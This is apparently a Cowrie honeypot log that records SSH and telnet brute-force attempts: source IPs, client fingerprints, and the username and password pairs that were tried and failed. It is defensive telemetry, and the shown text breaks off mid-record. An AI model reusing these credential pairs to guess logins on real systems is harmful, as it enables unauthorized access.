{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:20.773341Z","src_ip":"185.113.139.51","session":"7a065f8a5f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:21.208481Z","src_ip":"185.113.139.51","session":"7a065f8a5f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:22.310711Z","src_ip":"185.113.139.51","session":"7a065f8a5f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":49716,"dst_ip":"10.17.0.5","dst_port":22,"session":"9611c03d24c5","protocol":"ssh","message":"New connection: 185.242.3.195:49716 (10.17.0.5:22) [session: 9611c03d24c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:39.562809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:39.566034Z","src_ip":"185.242.3.195","session":"9611c03d24c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:39.647396Z","src_ip":"185.242.3.195","session":"9611c03d24c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:39.898838Z","src_ip":"185.242.3.195","session":"9611c03d24c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:40.982655Z","src_ip":"185.242.3.195","session":"9611c03d24c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":45954,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c497faea7f","protocol":"ssh","message":"New connection: 199.192.25.149:45954 (10.17.0.5:22) [session: e8c497faea7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:43.547531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:43.550668Z","src_ip":"199.192.25.149","session":"e8c497faea7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:43.609543Z","src_ip":"199.192.25.149","session":"e8c497faea7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lebanon","password":"Beirut#Ethereum@S3cur3","message":"login attempt [lebanon/Beirut#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:43.788699Z","src_ip":"199.192.25.149","session":"e8c497faea7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:44.850598Z","src_ip":"199.192.25.149","session":"e8c497faea7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56960,"dst_ip":"159.203.135.109","dst_port":23,"session":"8301110b882f","protocol":"telnet","message":"New connection: 137.184.5.188:56960 (159.203.135.109:23) [session: 8301110b882f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:48.281357Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47916,"dst_ip":"159.203.135.109","dst_port":22,"session":"79071ed60a0f","protocol":"ssh","message":"New connection: 103.77.175.15:47916 (159.203.135.109:22) [session: 79071ed60a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:48.920989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:48.923851Z","src_ip":"103.77.175.15","session":"79071ed60a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:49.162151Z","src_ip":"103.77.175.15","session":"79071ed60a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"acer","message":"login attempt [root/acer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:49.873959Z","src_ip":"103.77.175.15","session":"79071ed60a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":56242,"dst_ip":"10.17.0.5","dst_port":22,"session":"54266a839d3d","protocol":"ssh","message":"New connection: 190.244.39.224:56242 (10.17.0.5:22) [session: 54266a839d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:50.880193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:50.885753Z","src_ip":"190.244.39.224","session":"54266a839d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:51.056267Z","src_ip":"190.244.39.224","session":"54266a839d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:51.113271Z","src_ip":"103.77.175.15","session":"79071ed60a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa55Word","message":"login attempt [root/pa55Word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:51.735102Z","src_ip":"190.244.39.224","session":"54266a839d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:52.909302Z","src_ip":"190.244.39.224","session":"54266a839d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ba8d03b2ae","protocol":"telnet","message":"New connection: 137.184.5.188:58232 (159.203.135.109:23) [session: 79ba8d03b2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:17:59.455231Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57748,"dst_ip":"10.17.0.5","dst_port":22,"session":"89376f4ce0d0","protocol":"ssh","message":"New connection: 103.248.120.6:57748 (10.17.0.5:22) [session: 89376f4ce0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:02.376033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:02.380146Z","src_ip":"103.248.120.6","session":"89376f4ce0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:02.601777Z","src_ip":"103.248.120.6","session":"89376f4ce0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":57850,"dst_ip":"159.203.135.109","dst_port":22,"session":"c249e7afed1a","protocol":"ssh","message":"New connection: 166.62.35.226:57850 (159.203.135.109:22) [session: c249e7afed1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:02.953400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:02.957981Z","src_ip":"166.62.35.226","session":"c249e7afed1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:03.023667Z","src_ip":"166.62.35.226","session":"c249e7afed1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crypto789","message":"login attempt [root/crypto789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:03.221086Z","src_ip":"166.62.35.226","session":"c249e7afed1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp2024","message":"login attempt [userftp/userftp2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:03.521655Z","src_ip":"103.248.120.6","session":"89376f4ce0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:04.287956Z","src_ip":"166.62.35.226","session":"c249e7afed1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:04.744663Z","src_ip":"103.248.120.6","session":"89376f4ce0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":48192,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf3ee94d315","protocol":"ssh","message":"New connection: 103.86.198.253:48192 (159.203.135.109:22) [session: bdf3ee94d315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:08.364462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:08.368269Z","src_ip":"103.86.198.253","session":"bdf3ee94d315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:08.636620Z","src_ip":"103.86.198.253","session":"bdf3ee94d315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newtest","password":"password","message":"login attempt [newtest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:09.743347Z","src_ip":"103.86.198.253","session":"bdf3ee94d315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:11.031986Z","src_ip":"103.86.198.253","session":"bdf3ee94d315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37094,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d4a220d2b5a","protocol":"telnet","message":"New connection: 170.64.224.25:37094 (159.203.135.109:23) [session: 0d4a220d2b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:18.610236Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":35904,"dst_ip":"159.203.135.109","dst_port":22,"session":"7414f2e5583d","protocol":"ssh","message":"New connection: 202.61.233.105:35904 (159.203.135.109:22) [session: 7414f2e5583d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:32.402116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:32.405798Z","src_ip":"202.61.233.105","session":"7414f2e5583d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@ope